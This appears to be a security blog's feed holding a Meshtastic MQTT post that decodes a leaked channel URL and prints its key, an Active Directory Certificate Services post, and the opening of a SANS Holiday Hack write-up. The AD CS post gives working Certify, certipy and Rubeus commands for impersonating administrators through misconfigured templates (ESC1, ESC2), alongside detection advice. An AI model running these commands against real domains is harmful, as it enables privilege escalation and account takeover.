&lt;/blockquote&gt;

&lt;p&gt;Now the crude example given in the github issue ticket denotes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Key: default channel key&lt;/li&gt;
  &lt;li&gt;Channel name: Default&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, we decided to investigate whether these URLs are leaked in places on the internet, or even inside MQTT?&lt;/p&gt;

&lt;p&gt;The MQTT is well documented in the README’s and &lt;a href=&quot;https://meshtastic.org/docs/introduction/&quot;&gt;Meshtastics documentation&lt;/a&gt;. We utilised &lt;a href=&quot;https://mqtt-explorer.com/&quot;&gt;MQTT Explorer&lt;/a&gt; to discover numerous topics. We then used Python to write our own MQTT client, to browse the various topics and collect URLs from subscribed messages.&lt;/p&gt;

&lt;p&gt;It was not too long until we came across our first URL within a Direct-Message or DM:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;https://meshtastic.org/e/#CjMSIL_eLKhYYWjguqvQg5bGAHosTMbkwksdDKLMpGOKc3p0GgtJcmVsYW5kV2lkZSgBMAESDggBOANAA0gBUAxgAWgB&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So we returned to the documentation and GitHub repositories to learn how to reverse these URLs into more meaningful text for humans.&lt;/p&gt;

&lt;p&gt;Strictly speaking, this was not necessary, as we have already compromised the channel! The URL can be converted into a QR-Code and read through a phone/tablet, thus adding the channel and key into our own database.&lt;/p&gt;

&lt;p&gt;Within 10 minutes we had our own decoding program to parse the meshtastic URLs!&lt;/p&gt;

&lt;p&gt;One thing that struck us as odd, about this particular initial example, is that the first character is a vertical-tab (0x0b)?&lt;/p&gt;

&lt;h1 id=&quot;decoding-meshtastic-urls&quot;&gt;Decoding Meshtastic URLs&lt;/h1&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python ./channel_Decoder.py 'https://meshtastic.org/e/#CjMSIL_eLKhYYWjguqvQg5bGAHosTMbkwksdDKLMpGOKc3p0GgtJcmVsYW5kV2lkZSgBMAESDggBOANAA0gBUAxgAWgB'

Length of key: 32
Key: bf de 2c a8 58 61 68 e0 ba ab d0 83 96 c6 00 7a 2c 4c c6 e4 c2 4b 1d 0c a2 cc a4 63 8a 73 7a 74
Re-encoded key: v94sqFhhaOC6q9CDlsYAeixMxuTCSx0MosykY4pzenQ=
Channel name:
              IrelandWide
Downlink enabled
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://meshtastic.org/&quot;&gt;Meshtastic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://meshtastic.org/docs/introduction/&quot;&gt;Meshtastic Docs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><category term="Meshtastic" /><category term="radio" /><category term="fun" /><category term="mqtt" /><category term="AES" /><summary type="html"></summary></entry><entry><title type="html">Attacking Windows Certificate Services</title><link href="https://www.netscylla.com/blog/2024/01/08/Attacking-Windows-Certificate-Services.html" rel="alternate" type="text/html" title="Attacking Windows Certificate Services" /><published>2024-01-08T00:00:01+00:00</published><updated>2024-01-08T00:00:01+00:00</updated><id>https://www.netscylla.com/blog/2024/01/08/Attacking-Windows-Certificate-Services</id><content type="html" xml:base="https://www.netscylla.com/blog/2024/01/08/Attacking-Windows-Certificate-Services.html">&lt;p&gt;&lt;img src=&quot;/blog/assets/Microsoft_PKI.png&quot; alt=&quot;MS PKI Logo&quot; width=&quot;400&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;tldr&quot;&gt;TLDR;&lt;/h2&gt;

&lt;p&gt;Last years Kringlecon otherwise known as the SANS HolidayHack Challenge had an interesting Windows Domain Escalation. This year, the
attack centered around abusing misconfigured certificate templates. We had not come across this method of escaltion before,
it required some research and we overcome the challenge.&lt;/p&gt;

&lt;p&gt;This blog post aims to highlight the weaknesses and challenges of such an attack and how the vulenrability may exist in your domain.&lt;/p&gt;

&lt;h2 id=&quot;certificate-templates&quot;&gt;Certificate Templates&lt;/h2&gt;

&lt;p&gt;AD Enterprises use Certiifcate Authorities (CA) to issue certificates with predefined templates. These collate predefined settings, policies and other object settings.
An AD certificate template objects attributes contain a security descriptor which controls what principals can enroll in the certificates or edit the template.
The PKIExtendedKeyUsage attribute contains an array of OIDs. These EKU OIODs effect what the certificate can be used for:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Encrypting the FileSystem&lt;/li&gt;
  &lt;li&gt;Code Signing&lt;/li&gt;
  &lt;li&gt;Smartcard logon&lt;/li&gt;
  &lt;li&gt;Client Authentication&lt;/li&gt;
  &lt;li&gt;and more …&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;esc1---misconfigured-certificate-template&quot;&gt;ESC1 - Misconfigured Certificate Template&lt;/h2&gt;

&lt;h3 id=&quot;explanation&quot;&gt;Explanation&lt;/h3&gt;

&lt;p&gt;This is often enabled, for example, to allow products or deployment services to generate HTTPS certificates or host certificates on the fly. Or because of lack of knowledge.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The Enterprise CA grants low-privileged users enrolment rights&lt;/li&gt;
  &lt;li&gt;Manager approval is disabled&lt;/li&gt;
  &lt;li&gt;No authorized signatures are required&lt;/li&gt;
  &lt;li&gt;An overly permissive certificate template security descriptor grants certificate enrolment rights to low-privileged users&lt;/li&gt;
  &lt;li&gt;The certificate template defines EKUs that enable authentication:
    &lt;ul&gt;
      &lt;li&gt;Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;The certificate template allows requesters to specify a subjectAltName in the CSR:
    &lt;ul&gt;
      &lt;li&gt;AD will use the identity specified by a certificate’s subjectAltName (SAN) field if it is present. Consequently, if a requester can specify the SAN in a CSR, the requester can request a certificate as anyone (e.g., a domain admin user). The certificate template’s AD object specifies if the requester can specify the SAN in its mspki-certificate-name-flag property. The mspki-certificate-name-flag property is a bitmask and if the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag is present, a requester can specify the SAN.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;red-team-fun&quot;&gt;Red Team Fun&lt;/h3&gt;

&lt;p&gt;To find vulnerable certificate templates you can run:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Certify.exe find /vulnerable
certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To abuse this vulnerability to impersonate an administrator one could run:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then you can transform the generated certificate to .pfx format and use it to authenticate using Rubeus or certipy again:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The Windows binaries “Certreq.exe” &amp;amp; “Certutil.exe” can be abused to generate the PFX:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee&quot;&gt;Certutil Gist&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example from SANS HHC:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/Certify-ESC1.png&quot; alt=&quot;Certify&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;blue-team-monitoring&quot;&gt;Blue Team Monitoring&lt;/h3&gt;

&lt;p&gt;When building this scenario in our test domain, we struggled to pick out any relevant events from the event logs in our centralised logging system and from sysmon.&lt;/p&gt;

&lt;p&gt;Hitting the books we found this research paper from &lt;a href=&quot;https://specterops.io&quot;&gt;Specterops&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf&quot;&gt;Certified Pre-Owned&lt;/a&gt;
It has a nice detection and preventation walkthough towards the end of the docuemnt in additiona to a write up on attack patterns.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To detect this attack you would want to monitor the following event IDs:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;4886 - Certificate Services Recieved a Request&lt;/li&gt;
  &lt;li&gt;4887 - Certificates Services approved a request and issued a certifcate
and dont forget to monitor&lt;/li&gt;
  &lt;li&gt;Subject Alternative Names includes UPNs!&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;esc2---misconfigured-certificate-templates&quot;&gt;ESC2 - Misconfigured Certificate Templates&lt;/h2&gt;

&lt;h3 id=&quot;explanation-1&quot;&gt;Explanation&lt;/h3&gt;

&lt;p&gt;The second abuse scenario is a variation of the first one:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The Enterprise CA grants low-privileged users enrollment rights.&lt;/li&gt;
  &lt;li&gt;Manager approval is disabled.&lt;/li&gt;
  &lt;li&gt;No authorized signatures are required.&lt;/li&gt;
  &lt;li&gt;An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users.&lt;/li&gt;
  &lt;li&gt;The certificate template defines the Any Purpose EKU or no EKU.
The Any Purpose EKU allows an attacker to get a certificate for any purpose like client authentication, server authentication, code signing, etc. The same technique as for ESC3 can be used to abuse this.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A certificate with no EKUs — a subordinate CA certificate —  can be abused for any purpose as well but could also use it to sign new certificates. As such, using a subordinate CA certificate, an attacker could specify arbitrary EKUs or fields in the new certificates.&lt;/p&gt;

&lt;p&gt;However, if the subordinate CA is not trusted by the NTAuthCertificates object (which it won’t be by default), the attacker cannot create new certificates that will work for domain authentication. Still, the attacker can create new certificates with any EKU and arbitrary certificate values, of which there’s plenty the attacker could potentially abuse.&lt;/p&gt;

&lt;p&gt;The following LDAP query when run against the AD Forest’s configuration schema can be used to enumerate templates matching this scenario:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(&amp;amp;(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;red-team-fun-1&quot;&gt;Red Team Fun&lt;/h3&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Request an enrollment agent certificate
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req 'corp.local/john:Pass0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Enterprise CAs can constrain the users who can obtain an enrollment agent certificate, the templates enrollment agents can enroll in, and which accounts the enrollment agent can act on behalf of by opening certsrc.msc snap-in -&amp;gt; right clicking on the CA -&amp;gt; clicking Properties -&amp;gt; navigating to the “Enrollment Agents” tab.&lt;/p&gt;

&lt;p&gt;However, the default CA setting is “Do not restrict enrollment agents”. Even when administrators enable “Restrict enrollment agents”, the default setting is extremely permissive, allowing Everyone access enroll in all templates as anyone.&lt;/p&gt;

&lt;h3 id=&quot;blue-team-monitoring-1&quot;&gt;Blue Team Monitoring&lt;/h3&gt;

&lt;p&gt;Recall that both Kerberos (via PKINIT) and SChannel support certificate-based authentication.
Some environments rarely use these authentication protocols (particularly SChannel). As such,
monitoring for logon events using these protocols can detect abnormal activity in the
environment.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;For Kerberos, when a user authenticates with a certificate, the DC generates &lt;strong&gt;Event ID 4768&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When a client authenticates using SChannel, the DC can generate various events. By default (i.e.,
the CertificateMappingMethods registry key is not set) the DC will attempt to obtain information
about the account specified in the certificate using S4U2Self.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;During this process it will first create &lt;strong&gt;Event ID 4769&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;The DC will then create EID 4648 “A logon was attempted using explicit credentials”&lt;/li&gt;
  &lt;li&gt;Assuming the S4U2Self process completes successfully, the DC will generate &lt;strong&gt;Event ID 4624&lt;/strong&gt; “An account successfully logged on”&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;blue-team-summary&quot;&gt;Blue Team Summary&lt;/h2&gt;

&lt;p&gt;While researching why this vulenrability may have come about within the organisation, we came across this most execllent blog post from September 2020:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.qdsecurity.se/2020/09/04/supply-in-the-request-shenanigans/&quot;&gt;Supply in the Request Shenanigans&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We highly recommend you read the above blog post, for a clear understanding of how easily certificates services can be misconfigured.&lt;/p&gt;

&lt;h3 id=&quot;summary-of-event-ids&quot;&gt;Summary of Event IDs:&lt;/h3&gt;

&lt;p&gt;Monitor these Events:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;4886&lt;/li&gt;
  &lt;li&gt;4887&lt;/li&gt;
  &lt;li&gt;4768&lt;/li&gt;
  &lt;li&gt;4769&lt;/li&gt;
  &lt;li&gt;4624 &amp;amp; Logon Process: Schannel&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation&quot;&gt;AD CS Domain Escaltion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf&quot;&gt;Certified Pre-Owned&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.qdsecurity.se/2020/09/04/supply-in-the-request-shenanigans/&quot;&gt;Supply in the Request Shenanigans&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><category term="pentest" /><category term="redteam" /><category term="blueteam" /><category term="Windows" /><category term="Certificates" /><category term="certify" /><category term="certipy" /><category term="ESC1" /><summary type="html"></summary></entry><entry><title type="html">Kringlecon 2023 - The Geese Islands</title><link href="https://www.netscylla.com/blog/2024/01/05/Kringlecon-2023.html" rel="alternate" type="text/html" title="Kringlecon 2023 - The Geese Islands" /><published>2024-01-05T00:00:01+00:00</published><updated>2024-01-05T00:00:01+00:00</updated><id>https://www.netscylla.com/blog/2024/01/05/Kringlecon-2023</id><content type="html" xml:base="https://www.netscylla.com/blog/2024/01/05/Kringlecon-2023.html">&lt;p&gt;&lt;img src=&quot;/blog/assets/holidayhack2023.jpg&quot; alt=&quot;Kringlecon 2023&quot; width=&quot;700&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;tldr&quot;&gt;TLDR;&lt;/h1&gt;

&lt;p&gt;For those that have never signed up or attempted the Xmas challenge before, the SANS institute asks a number of info-sec people (pentesters, red-teamers, blue-teamers, incident responders, soc analysts etc) to build creative challenges and related talks to encourage self learning and a little but of competetive fun Capture-The-Flag (CTF) during the xmas holidays.&lt;/p&gt;

&lt;p&gt;You’re free to compete alone, or even team up. The exercises are ususally quite fun and you can end up developing some new skills.&lt;/p&gt;

&lt;p&gt;More about the challenge can be found here:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://holidayhackchallenge.com/2023&quot;&gt;https://holidayhackchallenge.com/2023&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;geese-islands--six-geese-a-leiing&quot;&gt;Geese Islands / Six Geese a lei’ing&lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Geese.png&quot; alt=&quot;6 Geese&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;contents&quot;&gt;Contents&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#story&quot;&gt;Story&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#chistmas-island&quot;&gt;Christmas Island&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#orientation&quot;&gt;Orientation&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#frosty-beach&quot;&gt;Frosty beach&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#snowball-fight&quot;&gt;Snowball fight&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#linux-101&quot;&gt;Linux 101&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#rudolphs-nest&quot;&gt;Rudolphs nest&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#reportinator&quot;&gt;Reportinator&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#azure-101&quot;&gt;Azure 101&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#resort-lobby&quot;&gt;Resort lobby&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#misfit-island&quot;&gt;Misfit island&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#scaredy-kite-heights&quot;&gt;Scaredy kite heights&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#hashcat&quot;&gt;Hashcat&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#ostrich-saloon&quot;&gt;Ostritch saloon&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#linux-priv-esc&quot;&gt;Linux prov esc&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#tarnised-trove&quot;&gt;Tarnished trove&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#square-wheel-yard&quot;&gt;Square wheel yard&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#fishing&quot;&gt;Fishing&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#luggage-lock&quot;&gt;Luggage lock&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#film-noir-island&quot;&gt;Film noir island&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#chiaroscuro-city&quot;&gt;Chiaroscuro city&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#nan-pi&quot;&gt;Nan pi&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#gumshow-alley-pi-office&quot;&gt;Gumshoe alley pi office&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#kusto-detective-agency&quot;&gt;Kusto detective agency&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#black-light-district&quot;&gt;Black light district&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#phish-detection&quot;&gt;Phish detection&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#pixel-island&quot;&gt;Pixel island&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#drift-bit-grotto&quot;&gt;Drift bit grotto&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#raincaster-cliffs&quot;&gt;Raincaster cliffs&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#elf-hunt&quot;&gt;Elf hunt&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#sshenanigans&quot;&gt;SSHenanigans&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#ad-challenge&quot;&gt;AD challenge&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#steampunk-island&quot;&gt;Steampunk island&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#coggoggle-marina&quot;&gt;Coggoggle marina&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#rusty-quay&quot;&gt;Rustyquay&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#brass-bouy-port&quot;&gt;Brass bouy port&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#faster-lock-combination&quot;&gt;Faster lock combination&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#the-captains-comms&quot;&gt;The captains comms&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#space-island&quot;&gt;Space Island&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#cape-cosmic&quot;&gt;Cape cosmic&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#spaceport-point&quot;&gt;Spaceport point&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#space-island-access-speaker&quot;&gt;Space island access specker&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#zenith-sgs&quot;&gt;Zenith SGS&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#camera-access&quot;&gt;camera access&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#missile-diversion&quot;&gt;missile diversion&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-1&quot;&gt;Objective 1&lt;/a&gt; aka holiday hack orientation&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-2&quot;&gt;Objective 2&lt;/a&gt; aka snowball fight&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-3&quot;&gt;Objective 3&lt;/a&gt; aka linux 101&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-4&quot;&gt;Objective 4&lt;/a&gt; aka reportinator&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-5&quot;&gt;Objective 5&lt;/a&gt; aka azure 101&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-6&quot;&gt;Objective 6&lt;/a&gt; aka luggage lock&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-7&quot;&gt;Objective 7&lt;/a&gt; aka linux privesc&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-8&quot;&gt;Objective 8&lt;/a&gt; aka faster lock&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-9&quot;&gt;Objective 9&lt;/a&gt; aka game cartridge vol 1&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-10&quot;&gt;Objective 10&lt;/a&gt; aka game cartridge vol 2&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-11&quot;&gt;Objective 11&lt;/a&gt; aka game cartridge vol 3&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-12&quot;&gt;Objective 12&lt;/a&gt; aka na’an&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-13&quot;&gt;Objective 13&lt;/a&gt; aka kql kraken hunt&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-14&quot;&gt;Objective 14&lt;/a&gt; aka phish detection agency&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-15&quot;&gt;Objective 15&lt;/a&gt; aka hashcat&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-16&quot;&gt;Objective 16&lt;/a&gt; aka elf hunt&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-17&quot;&gt;Objective 17&lt;/a&gt; aka certificate sshenanigans&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-18&quot;&gt;Objective 18&lt;/a&gt; aka the captains comms&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-19&quot;&gt;Objective 19&lt;/a&gt; aka active directory&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-20&quot;&gt;Objective 20&lt;/a&gt; aka space island door access speaker&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-21&quot;&gt;Objective 21&lt;/a&gt; aka camera access&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-22&quot;&gt;Objective 22&lt;/a&gt; aka mission diversion&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-23&quot;&gt;Objective 23&lt;/a&gt; aka bonus! fishing guide&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#objective-24&quot;&gt;Objective 24&lt;/a&gt; aka bonus! fishing mastery&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;story&quot;&gt;Story&lt;/h1&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Just sit right back and you’ll hear a tale,
A tale of a yuletide trip
That started from a tropic port,
Aboard this tiny ship
Santa and his helpful elves
To Geese Islands did go
Continuing their merry work
O'er sand instead of snow
New this year: a shiny tool
The elves logged in with glee
What makes short work of many tasks?
It's ChatNPT. It's ChatNPT
From images to APIs
This AI made elves glad
But motivations were unknown
So was it good or bad?
Could it be that NPT
Was not from off-the-shelf?
Though we'll forgive and trust again
We'd found a naughty elf
This fancy AI tool of ours
With all our work remained
Not good or bad, our online friend
Just did as it was trained
Surely someone's taint must be
Upon our AI crutch
Yes indeed, this bold new world
Bore Jack Frost's icy touch
Though all's returned to steady state
There's one thing that we know
We'll all be needed once again
When Santa's back on snow
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Wow, a pirate theme!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-pirateship.png&quot; alt=&quot;Pirate Ship&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;christmas-island&quot;&gt;Christmas Island&lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Christmas-island.png&quot; alt=&quot;Chsristmas Island&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;orientation&quot;&gt;Orientation&lt;/h2&gt;

